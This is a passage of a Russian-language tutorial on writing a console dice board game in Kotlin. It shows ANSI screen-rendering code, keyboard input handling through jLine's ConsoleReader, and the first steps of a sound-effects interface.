drawCenteredCaption(centerY, data, LIGHT_RED, false)
(centerY + 1..CONSOLE_HEIGHT).forEach { drawBlankLine(it, false) }
render()
}
```
Ничего сверхъестественного, просто одна текстовая строка (`data`), нарисованная красным цветом в центре экрана (`drawCenteredCaption()`). Остальной код заполняет пустыми строками оставшуюся часть экрана. Возможно, кто-то спросит, зачем это нужно — есть ведь метод `clearScreen()`, достаточно вызвать его в начале метода, очистить экран, а потом отрисовать нужный текст. Увы, это ленивый подход, использовать который мы не станем. Причина очень проста: при таком подходе некоторые позиции на экране отрисовываются по два раза, что приводит к заметному мерцанию, особенно когда экран последовательно отрисовывается несколько раз подряд (во время анимаций). Поэтому нашей задачей является не просто отрисовать нужные символы в нужных местах, но и заполнить **весь** остальной экран пустыми символами (чтобы на нем не оставались артефакты от прочей отрисовки). А эта задача уже не так проста.
Следующий метод следует этому принципу:
```
override fun drawHeroTurnStart(hero: Hero) {
val centerY = (CONSOLE_HEIGHT - 5) / 2
(1 until centerY).forEach { drawBlankLine(it, false) }
ansi.color(heroColors[hero.type])
drawHorizontalLine(centerY, '─')
drawHorizontalLine(centerY + 4, '─')
ansi.reset()
ansi.cursor(centerY + 1, 1).eraseLine()
ansi.cursor(centerY + 3, 1).eraseLine()
ansi.cursor(centerY + 2, 1)
val text = String.format(loadString("heros_turn"), hero.name.toUpperCase())
val index = text.indexOf(hero.name.toUpperCase())
val center = (CONSOLE_WIDTH - text.length) / 2
ansi.cursor(centerY + 2, center)
ansi.eraseLine(Ansi.Erase.BACKWARD)
ansi.a(text.substring(0, index))
ansi.color(heroColors[hero.type]).a(hero.name.toUpperCase()).reset()
ansi.a(text.substring(index + hero.name.length))
ansi.eraseLine(Ansi.Erase.FORWARD)
(centerY + 5..CONSOLE_HEIGHT).forEach { drawBlankLine(it, false) }
render()
}
```
Здесь помимо отцентрованного текста также присутствуют две горизонтальные линии (смотрите скриншоты выше). Обратите внимание, что центральная надпись отображается двумя цветами. А также убедитесь, что учить математику в школе все-таки полезно.
Ну что ж, мы рассмотрели самые простые методы и пришло время познакомиться с реализацией `drawLocationInteriorScreen()`. Как вы и сами понимаете, кода здесь будет на порядок больше. Кроме того, содержимое экрана будет динамически меняться в ответ на действия пользователя и его придется постоянно перерисовывать (иногда с анимацией). Ну и чтобы окончательно вас добить: представьте, что помимо приведенного выше на снимке экрана, в рамках данного метода необходимо реализовать отображение еще трех:
**1. Встреча с вынутым из сумки кубиком**[](https://habrastorage.org/webt/8x/lx/h9/8xlxh9h-ulu0efaigsnnfuo6nsq.png)
**2. Выбор кубиков для прохождения проверки**[](https://habrastorage.org/webt/cd/iw/2e/cdiw2e0fxlfdsjeijyxwauzth-m.png)
**3. Отображение результатов проверки**[](https://habrastorage.org/webt/t3/-w/7r/t3-w7rfvplkfeywr9_5accvkada.png)
Поэтому вот мой вам большой совет: не пихайте весь код в один метод. Разбейте реализацию на несколько методов (даже если каждый из них будет вызываться только один раз). Ну и о «резине» не забывайте.
**Если в глазах начнет рябить, поморгайте пару секунд - должно помочь**
```
class ConsoleGameRenderer(loader: StringLoader)
: ConsoleRenderer(loader), GameRenderer {
private fun drawLocationTopPanel(location: Location, heroesAtLocation: List, currentHero: Hero, timer: Int) {
val closedString = loadString("closed").toLowerCase()
val timeString = loadString("time")
val locationName = location.name.toString().toUpperCase()
val separatorX1 = locationName.length + if (location.isOpen) {
6 + if (location.bag.size >= 10) 2 else 1
} else {
closedString.length + 7
}
val separatorX2 = CONSOLE\_WIDTH - timeString.length - 6 - if (timer >= 10) 1 else 0
//Top border
ansi.cursor(1, 1)
ansi.a('┌')
(2 until CONSOLE\_WIDTH).forEach { ansi.a(if (it == separatorX1 || it == separatorX2) '┬' else '─') }
ansi.a('┐')
//Center row
ansi.cursor(2, 1)
ansi.a("│ ")
if (location.isOpen) {
ansi.color(WHITE).a(locationName).reset()
ansi.a(": ").a(location.bag.size)
} else {
ansi.a(locationName).reset()
ansi.color(DARK\_GRAY).a(" (").a(closedString).a(')').reset()
}
ansi.a(" │")
var currentX = separatorX1 + 2
heroesAtLocation.forEach { hero ->
ansi.a(' ')
ansi.color(heroColors[hero.type])
ansi.a(if (hero === currentHero) '☻' else '').reset()
currentX += 2
}
(currentX..separatorX2).forEach { ansi.a(' ') }
ansi.a("│ ").a(timeString).a(": ")
when {
timer <= 5 -> ansi.color(LIGHT\_RED)
timer <= 15 -> ansi.color(LIGHT\_YELLOW)
else -> ansi.color(LIGHT\_GREEN)
}
ansi.bold().a(timer).reset().a(" │")
//Bottom border
ansi.cursor(3, 1)
ansi.a('├')
(2 until CONSOLE\_WIDTH).forEach { ansi.a(if (it == separatorX1 || it == separatorX2) '┴' else '─') }
ansi.a('┤')
}
private fun drawLocationHeroPanel(offsetY: Int, hero: Hero) {
val bagString = loadString("bag").toUpperCase()
val discardString = loadString("discard").toUpperCase()
val separatorX1 = hero.name.length + 4
val separatorX3 = CONSOLE\_WIDTH - discardString.length - 6 - if (hero.discardPile.size >= 10) 1 else 0
val separatorX2 = separatorX3 - bagString.length - 6 - if (hero.bag.size >= 10) 1 else 0
//Top border
ansi.cursor(offsetY, 1)
ansi.a('├')
(2 until CONSOLE\_WIDTH).forEach { ansi.a(if (it == separatorX1 || it == separatorX2 || it == separatorX3) '┬' else '─') }
ansi.a('┤')
//Center row
ansi.cursor(offsetY + 1, 1)
ansi.a("│ ")
ansi.color(heroColors[hero.type]).a(hero.name.toUpperCase()).reset()
ansi.a(" │")
val currentX = separatorX1 + 1
(currentX until separatorX2).forEach { ansi.a(' ') }
ansi.a("│ ").a(bagString).a(": ")
when {
hero.bag.size <= hero.hand.capacity -> ansi.color(LIGHT\_RED)
else -> ansi.color(LIGHT\_YELLOW)
}
ansi.a(hero.bag.size).reset()
ansi.a(" │ ").a(discardString).a(": ")
ansi.a(hero.discardPile.size)
ansi.a(" │")
//Bottom border
ansi.cursor(offsetY + 2, 1)
ansi.a('├')
(2 until CONSOLE\_WIDTH).forEach { ansi.a(if (it == separatorX1 || it == separatorX2 || it == separatorX3) '┴' else '─') }
ansi.a('┤')
}
private fun drawDieSize(die: Die, checked: Boolean = false) {
when {
checked -> ansi.background(dieColors[die.type]).color(BLACK)
else -> ansi.color(dieColors[die.type])
}
ansi.a(die.toString()).reset()
}
private fun drawDieFrameSmall(offsetX: Int, offsetY: Int, longDieSize: Boolean) {
//Top border
ansi.cursor(offsetY, offsetX)
ansi.a('╔')
(0 until if (longDieSize) 5 else 4).forEach { ansi.a('═') }
ansi.a('╗')
//Left border
ansi.cursor(offsetY + 1, offsetX)
ansi.a("║ ")
//Bottom border
ansi.cursor(offsetY + 2, offsetX)
ansi.a("╚")
(0 until if (longDieSize) 5 else 4).forEach { ansi.a('═') }
ansi.a('╝')
//Right border
ansi.cursor(offsetY + 1, offsetX + if (longDieSize) 6 else 5)
ansi.a('║')
}
private fun drawDieSmall(offsetX: Int, offsetY: Int, pair: DiePair, rollResult: Int? = null) {
ansi.color(dieColors[pair.die.type])
val longDieSize = pair.die.size >= 10
drawDieFrameSmall(offsetX, offsetY, longDieSize)
//Roll result or die size
ansi.cursor(offsetY + 1, offsetX + 1)
if (rollResult != null) {
ansi.a(String.format(" %2d %s", rollResult, if (longDieSize) " " else ""))
} else {
ansi.a(' ').a(pair.die.toString()).a(' ')
}
//Draw modifier
ansi.cursor(offsetY + 3, offsetX)
val modString = if (pair.modifier == 0) "" else String.format("%+d", pair.modifier)
val frameLength = 4 + if (longDieSize) 3 else 2
var spaces = (frameLength - modString.length) / 2
(0 until spaces).forEach { ansi.a(' ') }
ansi.a(modString)
spaces = frameLength - spaces - modString.length
(0 until spaces).forEach { ansi.a(' ') }
ansi.reset()
}
private fun drawDieFrameBig(offsetX: Int, offsetY: Int, longDieSize: Boolean) {
//Top border
ansi.cursor(offsetY, offsetX)
ansi.a('╔')
(0 until if (longDieSize) 3 else 2).forEach { ansi.a("══════") }
ansi.a("═╗")
//Left border
(1..5).forEach {
ansi.cursor(offsetY + it, offsetX)
ansi.a('║')
}
//Bottom border
ansi.cursor(offsetY + 6, offsetX)
ansi.a('╚')
(0 until if (longDieSize) 3 else 2).forEach { ansi.a("══════") }
ansi.a("═╝")
//Right border
val currentX = offsetX + if (longDieSize) 20 else 14
(1..5).forEach {
ansi.cursor(offsetY + it, currentX)
ansi.a('║')
}
}
private fun drawDieSizeBig(offsetX: Int, offsetY: Int, pair: DiePair) {
ansi.color(dieColors[pair.die.type])
val longDieSize = pair.die.size >= 10
drawDieFrameBig(offsetX, offsetY, longDieSize)
//Die size
ansi.cursor(offsetY + 1, offsetX + 1)
ansi.a(" ████ ")
ansi.cursor(offsetY + 2, offsetX + 1)
ansi.a(" █ █ ")
ansi.cursor(offsetY + 3, offsetX + 1)
ansi.a(" █ █ ")
ansi.cursor(offsetY + 4, offsetX + 1)
ansi.a(" █ █ ")
ansi.cursor(offsetY + 5, offsetX + 1)
ansi.a(" ████ ")
drawBigNumber(offsetX + 8, offsetY + 1, pair.die.size)
//Draw modifier
ansi.cursor(offsetY + 7, offsetX)
val modString = if (pair.modifier == 0) "" else String.format("%+d", pair.modifier)
val frameLength = 4 + 6 \* if (longDieSize) 3 else 2
var spaces = (frameLength - modString.length) / 2
(0 until spaces).forEach { ansi.a(' ') }
ansi.a(modString)
spaces = frameLength - spaces - modString.length - 1
(0 until spaces).forEach { ansi.a(' ') }
ansi.reset()
}
private fun drawBattleCheck(offsetY: Int, battleCheck: DieBattleCheck) {
val performCheck = loadString("perform\_check")
var currentX = 4
var currentY = offsetY
//Top message
ansi.cursor(offsetY, 1)
ansi.a("│ ").a(performCheck)
(performCheck.length + 4 until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
//Left border
(1..4).forEach {
ansi.cursor(offsetY + it, 1)
ansi.a("│ ")
}
//Opponent
var opponentWidth = 0
var vsWidth = 0
(battleCheck.getOpponentPair())?.let {
//Die
if (battleCheck.isRolled) {
drawDieSmall(4, offsetY + 1, it, battleCheck.getOpponentResult())
} else {
drawDieSmall(4, offsetY + 1, it)
}
opponentWidth = 4 + if (it.die.size >= 10) 3 else 2
currentX += opponentWidth
//VS
ansi.cursor(currentY + 1, currentX)
ansi.a(" ")
ansi.cursor(currentY + 2, currentX)
ansi.color(LIGHT\_YELLOW).a(" VS ").reset()
ansi.cursor(currentY + 3, currentX)
ansi.a(" ")
ansi.cursor(currentY + 4, currentX)
ansi.a(" ")
vsWidth = 4
currentX += vsWidth
}
//Clear below
for (row in currentY + 5..currentY + 8) {
ansi.cursor(row, 1)
ansi.a('│')
(2 until currentX).forEach { ansi.a(' ') }
}
//Dice
for (index in 0 until battleCheck.heroPairCount) {
if (index > 0) {
ansi.cursor(currentY + 1, currentX)
ansi.a(" ")
ansi.cursor(currentY + 2, currentX)
ansi.a(if (battleCheck.method == DieBattleCheck.Method.SUM) " + " else " / ").reset()
ansi.cursor(currentY + 3, currentX)
ansi.a(" ")
ansi.cursor(currentY + 4, currentX)
ansi.a(" ")
currentX += 3
}
val pair = battleCheck.getHeroPairAt(index)
val width = 4 + if (pair.die.size >= 10) 3 else 2
if (currentX + width + 3 > CONSOLE\_WIDTH) { //Out of space
for (row in currentY + 1..currentY + 4) {
ansi.cursor(row, currentX)
(currentX until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
currentY += 4
currentX = 4 + vsWidth + opponentWidth
}
if (battleCheck.isRolled) {
drawDieSmall(currentX, currentY + 1, pair, battleCheck.getHeroResultAt(index))
} else {
drawDieSmall(currentX, currentY + 1, pair)
}
currentX += width
}
//Clear the rest
(currentY + 1..currentY + 4).forEach { row ->
ansi.cursor(row, currentX)
(currentX until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
if (currentY == offsetY) { //Still on the first line
currentX = 4 + vsWidth + opponentWidth
(currentY + 5..currentY + 8).forEach { row ->
ansi.cursor(row, currentX)
(currentX until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
}
//Draw result
(battleCheck.result)?.let { r ->
val frameTopY = offsetY + 5
val result = String.format("%+d", r)
val message = loadString(if (r >= 0) "success" else "fail").toUpperCase()
val color = if (r >= 0) DARK\_GREEN else DARK\_RED
//Frame
ansi.color(color)
drawHorizontalLine(frameTopY, '▒')
drawHorizontalLine(frameTopY + 3, '▒')
ansi.cursor(frameTopY + 1, 1).a("▒▒")
ansi.cursor(frameTopY + 1, CONSOLE\_WIDTH - 1).a("▒▒")
ansi.cursor(frameTopY + 2, 1).a("▒▒")
ansi.cursor(frameTopY + 2, CONSOLE\_WIDTH - 1).a("▒▒")
ansi.reset()
//Top message
val resultString = loadString("result")
var center = (CONSOLE\_WIDTH - result.length - resultString.length - 2) / 2
ansi.cursor(frameTopY + 1, 3)
(3 until center).forEach { ansi.a(' ') }
ansi.a(resultString).a(": ")
ansi.color(color).a(result).reset()
(center + result.length + resultString.length + 2 until CONSOLE\_WIDTH - 1).forEach { ansi.a(' ') }
//Bottom message
center = (CONSOLE\_WIDTH - message.length) / 2
ansi.cursor(frameTopY + 2, 3)
(3 until center).forEach { ansi.a(' ') }
ansi.color(color).a(message).reset()
(center + message.length until CONSOLE\_WIDTH - 1).forEach { ansi.a(' ') }
}
}
private fun drawExplorationResult(offsetY: Int, pair: DiePair) {
val encountered = loadString("encountered")
ansi.cursor(offsetY, 1)
ansi.a("│ ").a(encountered).a(':')
(encountered.length + 5 until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
val dieFrameWidth = 3 + 6 \* if (pair.die.size >= 10) 3 else 2
for (row in 1..8) {
ansi.cursor(offsetY + row, 1)
ansi.a("│ ")
ansi.cursor(offsetY + row, dieFrameWidth + 4)
(dieFrameWidth + 4 until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
drawDieSizeBig(4, offsetY + 1, pair)
}
private fun drawHand(offsetY: Int, hand: Hand, checkedDice: HandMask, activePositions: HandMask) {
val handString = loadString("hand").toUpperCase()
val alliesString = loadString("allies").toUpperCase()
val capacity = hand.capacity
val size = hand.dieCount
val slots = max(size, capacity)
val alliesSize = hand.allyDieCount
var currentY = offsetY
var currentX = 1
//Hand title
ansi.cursor(currentY, currentX)
ansi.a("│ ").a(handString)
//Left border
currentY += 1
currentX = 1
ansi.cursor(currentY, currentX)
ansi.a("│ ╔")
ansi.cursor(currentY + 1, currentX)
ansi.a("│ ║")
ansi.cursor(currentY + 2, currentX)
ansi.a("│ ╚")
ansi.cursor(currentY + 3, currentX)
ansi.a("│ ")
currentX += 3
//Main hand
for (i in 0 until min(slots, MAX\_HAND\_SIZE)) {
val die = hand.dieAt(i)
val longDieName = die != null && die.size >= 10
//Top border
ansi.cursor(currentY, currentX)
if (i < capacity) {
ansi.a("════").a(if (longDieName) "═" else "")
} else {
ansi.a("────").a(if (longDieName) "─" else "")
}
ansi.a(if (i < capacity - 1) '╤' else if (i == capacity - 1) '╗' else if (i < size - 1) '┬' else '┐')
//Center row
ansi.cursor(currentY + 1, currentX)
ansi.a(' ')
if (die != null) {
drawDieSize(die, checkedDice.checkPosition(i))
} else {
ansi.a(" ")
}
ansi.a(' ')
ansi.a(if (i < capacity - 1) '│' else if (i == capacity - 1) '║' else '│')
//Bottom border
ansi.cursor(currentY + 2, currentX)
if (i < capacity) {
ansi.a("════").a(if (longDieName) '═' else "")
} else {
ansi.a("────").a(if (longDieName) '─' else "")
}
ansi.a(if (i < capacity - 1) '╧' else if (i == capacity - 1) '╝' else if (i < size - 1) '┴' else '┘')
//Die number
ansi.cursor(currentY + 3, currentX)
if (activePositions.checkPosition(i)) {
ansi.color(LIGHT\_YELLOW)
}
ansi.a(String.format(" (%s) %s", shortcut(i), if (longDieName) " " else ""))
ansi.reset()
currentX += 5 + if (longDieName) 1 else 0
}
//Ally subhand
if (alliesSize > 0) {
currentY = offsetY
//Ally title
ansi.cursor(currentY, handString.length + 5)
(handString.length + 5 until currentX).forEach { ansi.a(' ') }
ansi.a(" ").a(alliesString)
(currentX + alliesString.length + 5 until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
//Left border
currentY += 1
ansi.cursor(currentY, currentX)
ansi.a(" ┌")
ansi.cursor(currentY + 1, currentX)
ansi.a(" │")
ansi.cursor(currentY + 2, currentX)
ansi.a(" └")
ansi.cursor(currentY + 3, currentX)
ansi.a(" ")
currentX += 4
//Ally slots
for (i in 0 until min(alliesSize, MAX\_HAND\_ALLY\_SIZE)) {
val allyDie = hand.allyDieAt(i)!!
val longDieName = allyDie.size >= 10
//Top border
ansi.cursor(currentY, currentX)
ansi.a("────").a(if (longDieName) "─" else "")
ansi.a(if (i < alliesSize - 1) '┬' else '┐')
//Center row
ansi.cursor(currentY + 1, currentX)
ansi.a(' ')
drawDieSize(allyDie, checkedDice.checkAllyPosition(i))
ansi.a(" │")
//Bottom border
ansi.cursor(currentY + 2, currentX)
ansi.a("────").a(if (longDieName) "─" else "")
ansi.a(if (i < alliesSize - 1) '┴' else '┘')
//Die number
ansi.cursor(currentY + 3, currentX)
if (activePositions.checkAllyPosition(i)) {
ansi.color(LIGHT\_YELLOW)
}
ansi.a(String.format(" (%s) %s", shortcut(i + 10), if (longDieName) " " else "")).reset()
currentX += 5 + if (longDieName) 1 else 0
}
} else {
ansi.cursor(offsetY, 9)
(9 until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
ansi.cursor(offsetY + 4, currentX)
(currentX until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
//Clear the end of the line
(0..3).forEach { row ->
ansi.cursor(currentY + row, currentX)
(currentX until CONSOLE\_WIDTH).forEach { ansi.a(' ') }
ansi.a('│')
}
}
override fun drawHeroTurnStart(hero: Hero) {
val centerY = (CONSOLE\_HEIGHT - 5) / 2
(1 until centerY).forEach { drawBlankLine(it, false) }
ansi.color(heroColors[hero.type])
drawHorizontalLine(centerY, '─')
drawHorizontalLine(centerY + 4, '─')
ansi.reset()
ansi.cursor(centerY + 1, 1).eraseLine()
ansi.cursor(centerY + 3, 1).eraseLine()
ansi.cursor(centerY + 2, 1)
val text = String.format(loadString("heros\_turn"), hero.name.toUpperCase())
val index = text.indexOf(hero.name.toUpperCase())
val center = (CONSOLE\_WIDTH - text.length) / 2
ansi.cursor(centerY + 2, center)
ansi.eraseLine(Ansi.Erase.BACKWARD)
ansi.a(text.substring(0, index))
ansi.color(heroColors[hero.type]).a(hero.name.toUpperCase()).reset()
ansi.a(text.substring(index + hero.name.length))
ansi.eraseLine(Ansi.Erase.FORWARD)
(centerY + 5..CONSOLE\_HEIGHT).forEach { drawBlankLine(it, false) }
render()
}
override fun drawLocationInteriorScreen(
location: Location,
heroesAtLocation: List,
timer: Int,
currentHero: Hero,
battleCheck: DieBattleCheck?,
encounteredDie: DiePair?,
pickedDice: HandMask,
activePositions: HandMask,
statusMessage: StatusMessage,
actions: ActionList) {
//Top panel
drawLocationTopPanel(location, heroesAtLocation, currentHero, timer)
//Encounter info
when {
battleCheck != null -> drawBattleCheck(4, battleCheck)
encounteredDie != null -> drawExplorationResult(4, encounteredDie)
else -> (4..12).forEach { drawBlankLine(it) }
}
//Fill blank space
val bottomHalfTop = CONSOLE\_HEIGHT - 11
(13 until bottomHalfTop).forEach { drawBlankLine(it) }
//Hero-specific info
drawLocationHeroPanel(bottomHalfTop, currentHero)
drawHand(bottomHalfTop + 3, currentHero.hand, pickedDice, activePositions)
//Separator
ansi.cursor(bottomHalfTop + 8, 1)
ansi.a('├')
(2 until CONSOLE\_WIDTH).forEach { ansi.a('─') }
ansi.a('┤')
//Status and actions
drawStatusMessage(bottomHalfTop + 9, statusMessage)
drawActionList(bottomHalfTop + 10, actions)
//Bottom border
ansi.cursor(CONSOLE\_HEIGHT, 1)
ansi.a('└')
(2 until CONSOLE\_WIDTH).forEach { ansi.a('─') }
ansi.a('┘')
//Finalize
render()
}
override fun drawGameLoss(message: StatusMessage) {
val centerY = CONSOLE\_HEIGHT / 2
(1 until centerY).forEach { drawBlankLine(it, false) }
val data = loadString(message.toString().toLowerCase()).toUpperCase()
drawCenteredCaption(centerY, data, LIGHT\_RED, false)
(centerY + 1..CONSOLE\_HEIGHT).forEach { drawBlankLine(it, false) }
render()
}
}
```
Существует одна маленькая проблемка, связанная с проверкой работы всего этого кода. Поскольку встроенная консоль IDE не поддерживает управляющие последовательности ANSI, то и запускать приложение придется во внешнем терминале (скрипт для запуска мы уже написали ранее). Кроме того, с поддержкой ANSI не все в порядке в Windows — насколько мне известно, только с 10-й версии стандартный cmd.exe может порадовать нас качественным отображением (и то, с некоторыми проблемами, на которых не станем акцентировать внимание). Да и PowerShell не сразу научился распознавать последовательности (несмотря на имеющийся спрос). Если же вам не повезло, не расстраивайтесь — всегда есть альтернативные решения ([вот это, например](http://blog.mmediasys.com/2010/11/24/we-all-love-colors/)). А мы двигаемся дальше.
Шаг десятый. Пользовательский ввод
----------------------------------
Выводить изображение на экран — это еще полдела. Не менее важно правильно принимать от пользователя управляющие команды. И эта задача, хочу вам сказать, может оказаться технически гораздо сложнее реализуемой, чем все предыдущие. Но обо всем по порядку.
Насколько вы помните, перед нами стоит необходимость реализовать методы класса `GameInteractor`. Их всего три, но они требуют особого внимания. Во-первых, синхронность. Работа игрового движка должна приостанавливаться до тех пор пока игрок не нажмет на клавишу. Во-вторых, обработка нажатий. К сожалению, возможностей стандартных классов `Reader`, `Scanner`, `Console` недостаточно для распознавания этих самых нажатий: мы не требуем от пользователя жать ENTER после ввода каждой команды. Нам нужно что-то вроде `KeyListener`'а, но он крепко привязан к фреймворку Swing, а наше приложение консольное — без всей этой графической мишуры.
Что же делать? Искать библиотеки, разумеется, и в этот раз их работа будет всецело опираться на нативный код. Что значит «прощай, кроссплатформенность»… Или нет? Увы, мне еще предстоит найти библиотеку, которая в легковесном, независимом от платформы виде реализует простую функциональность. А пока что обратим внимание на монстра [jLine](https://github.com/jline), реализующего комбайн по построению продвинутых пользовательских интерфейсов (в консоли). Да, он имеет нативную реализацию, да, он поддерживает как Windows, так и Linux/UNIX (путем предоставления соответствующих библиотек). И да, б*о*льшая часть его функциональности нам триста лет не нужна. Нужна лишь мелкая, плохо документированная возможность, работу которой мы сейчас разберем.
```
jline
jline
2.14.6
compile
```
Обратите внимание, нам понадобится не третяя, последняя версия, а вторая, где есть класс `ConsoleReader` с методом `readCharacter()`. Как понятно из названия, данный метод возвращает код нажатого на клавиатуре символа (при этом работает синхронно, что нам и нужно). Остальное — дело техники: составить таблицу соответствий между символами и типами действий (`Action.Type`) и по нажатию на одно возвращать другое.
*«А известно ли тебе, что не все клавиши на клавиатуре можно представить одним символом? Многие клавиши используют escape-последовательности из двух, трех, четырех разных символов. Как быть с ними?»*
Следует отметить, что задача ввода усложняется, если мы захотим распознавать «несимвольные клавиши»: стрелки, F-ки, Home, Insert, PgUp/Dn, End, Delete, num-pad и прочие. Но мы не хотим, потому продолжим. Создадим класс `ConsoleInteractor` с необходимыми нам служебными методами.
```
abstract class ConsoleInteractor {
private val reader = ConsoleReader()
private val mapper = mapOf(
CONFIRM to 13.toChar(),
CANCEL to 27.toChar(),
EXPLORE_LOCATION to 'e',
FINISH_TURN to 'f',
ACQUIRE to 'a',
LEAVE to 'l',
FORFEIT to 'f',
HIDE to 'h',
DISCARD to 'd',
)
protected fun read() = reader.readCharacter().toChar()
protected open fun getIndexForKey(key: Char) =
"1234567890abcdefghijklmnopqrstuvw".indexOf(key)
}
```
Задаем карту `mapper` и метод `read()`. Кроме того предусмотрим метод `getIndexForKey()`, использующийся в ситуациях, когда нам необходимо выбрать элемент из списка или кубики из руки. Осталось унаследовать от этого класса нашу реализацию интерфейса `GameInteractor`.
**Диаграмма классов**[](https://habrastorage.org/webt/hv/oh/h_/hvohh_s5evuqa4kwwwhtvvfbsmw.png)
И, собственно, код:
```
class ConsoleGameInteractor : ConsoleInteractor(), GameInteractor {
override fun anyInput() {
read()
}
override fun pickAction(list: ActionList): Action {
while (true) {
val key = read()
list
.filter(Action::isEnabled)
.find { mapper[it.type] == key }
?.let { return it }
}
}
override fun pickDiceFromHand(activePositions: HandMask, actions: ActionList)
: Action {
while (true) {
val key = read()
actions.forEach { if (mapper[it.type] == key && it.isEnabled) return it }
when (key) {
in '1'..'9' -> {
val index = key - '1'
if (activePositions.checkPosition(index)) {
return Action(HAND_POSITION, data = index)
}
}
'0' -> {
if (activePositions.checkPosition(9)) {
return Action(HAND_POSITION, data = 9)
}
}
in 'a'..'f' -> {
val allyIndex = key - 'a'
if (activePositions.checkAllyPosition(allyIndex)) {
return Action(HAND_ALLY_POSITION, data = allyIndex)
}
}
}
}
}
}
```
Реализации наших методов достаточно вежливы и воспитанны, чтобы не возвращать наружу разную неадекватную ерунду. Они сами проверяют, чтобы выбранное действие было активным, а выбранная позиция руки входила в набор допустимых. И нам всем желаю быть такими же вежливыми с окружающими нас людьми.
Шаг одиннадцатый. Звуки и музычка
---------------------------------
А то как же без них-то? Если вы хоть раз играли в игры с выключенным звуком (например, с планшетом под одеялом, пока никто из домашних не видит), вы возможно осознавали, как многого вы лишаетесь. Это как будто играть только в половину игры. Многие игры невозможно вообразить без звукового сопровождения, для многих это и вовсе неотъемлемое требование, хотя бывают и обратные ситуации (например, когда звуков нет в принципе, или они настолько убогие, что лучше бы без них). Сделать дело хорошо на самом деле не так просто, как кажется на первый взгляд (недаром в больших студиях этим занимаются высококвалифицированные специалисты), но как бы там ни было, в большинстве случаев иметь в своей игре аудиальную составляющую (хоть какую-то) гораздо лучше, чем не иметь ее вовсе. В крайнем случае, качество звука можно улучшить позже, когда время и настроение позволит.
Ввиду специфики жанра, наша игра не будет характеризоваться шедевральными звуковыми эффектами — если вы играли в цифровые адаптации настольных игр, то понимаете о чем я. Звуки отталкивают своей однообразостью, скоро приедаются и через некоторое время игра без них уже не кажется серьезной потерей. Проблема усугубляется тем, что отсутствуют эффективные способы борьбы с этим явлением. Замените игровые звуки на совершенно другие, и со временем опостылеют и они. В хороших играх звуки дополняют игровой процесс, раскрывают атмосферу происходящего действа, делают ее живой — этого сложно добиться в случае, если атмосфера — всего лишь стол с кучей пыльных мешков, а весь игровой процесс состоит в кидании кубиков. Тем не менее, именно это мы и станем озвучивать: шелчок тут, бросок здесь, шелест и шуршание под громкие крики — как будто мы не картинку на экране наблюдаем, а действительно взаимодействуем с реальными физическими объектами. Озвучивать их нужно полноценно, но ненавязчиво — на протяжении сценария вы будете слышать одно и то же сотню раз, поэтому звуки не должны выходить на первый план — лишь мягко оттенять игровой процесс. Как грамотно этого добиться? Понятия не имею, я не спец по звуку. Могу лишь посоветовать как можно больше играть в свою игру, замечая и шлифуя бросающиеся в глаза недостатки (этот совет, кстати, не только к звукам относится).
С теорией, кажись, разобрались, теперь пора и к практике перейти. А перед этим нужно задаться вопросом: а где, собственно, брать игровые файлы? Самый простой и верный способ — записать их самому в уродливом качестве, используя старенький микрофон или вообще телефоном пользуясь. В интернете полно роликов о том, как откручивая ботву ананаса или ломая лед сапогом можно добиться эффекта дробящихся костей и хрустящего позвоночника. Если вы не чужды эстетики сюрреализма, можете воспользоваться собственным голосом или кухонной утварью в качестве музыкального инструмента (есть примеры — и даже удачные — где такое делалось). А можете пойти на [freesound.org](https://freesound.org/), где сотня других людей давным-давно сделала это за вас. Только на лицензию обращайте внимание: многие авторы очень трепетно относятся к аудиозаписям своего громкого кашля или брошенной на пол монетки — вы ни в коем случае не хотите бессовестно воспользоваться плодами их трудов, не заплатив оригинальному создателю или не упомянув его творческий псевдоним (иногда весьма причудливый) в комментариях.
Натаскайте файликов, какие понравятся, и сложите их куда-нибудь в classpath. Для их идентификации будем использовать перечисление, где каждый экземпляр соответствует одному звуковому эффекту.
```
enum class Sound {
TURN_START, //Hero starts the turn
BATTLE_CHECK_ROLL, //Perform check, type
BATTLE_CHECK_SUCCESS, //Check was successful
BATTLE_CHECK_FAILURE, //Check failed
DIE_DRAW, //Draw die from bag
DIE_HIDE, //Remove die to bag
DIE_DISCARD, //Remove die to pile
DIE_REMOVE, //Remove die entirely
DIE_PICK, //Check/uncheck the die
TRAVEL, //Move hero to another location
ENCOUNTER_STAT, //Hero encounters STAT die
ENCOUNTER_DIVINE, //Hero encounters DIVINE die
ENCOUNTER_ALLY, //Hero encounters ALLY die
ENCOUNTER_WOUND, //Hero encounters WOUND die
ENCOUNTER_OBSTACLE, //Hero encounters OBSTACLE die
ENCOUNTER_ENEMY, //Hero encounters ENEMY die
ENCOUNTER_VILLAIN, //Hero encounters VILLAIN die
DEFEAT_OBSTACLE, //Hero defeats OBSTACLE die
DEFEAT_ENEMY, //Hero defeats ENEMY die
DEFEAT_VILLAIN, //Hero defeats VILLAIN die
TAKE_DAMAGE, //Hero takes damage
HERO_DEATH, //Hero death
CLOSE_LOCATION, //Location closed
GAME_VICTORY, //Scenario completed
GAME_LOSS, //Scenario failed
ERROR, //When something unexpected happens
}
```
Поскольку способ воспроизведения звуков будет разниться в зависимости от аппаратной платформы, акбстрагируемсчя от конкретной реализации при помощи интерфейса. Например, вот такого:
```
interface SoundPlayer {
fun play(sound: Sound)
}
```
Подобно ранее рассмотренным интерфейсам `GameRenderer` и `GameInteractor`, его реализацию также необходимо передавать на вход экземпляру класса `Game`. Для начала, реализация может быть такой:
```
class MuteSoundPlayer : SoundPlayer {
override fun play(sound: Sound) {
//Do nothing
}
}
```
Впоследствии мы рассмотрим более интересные реализации, а пока поговорим о музыке.
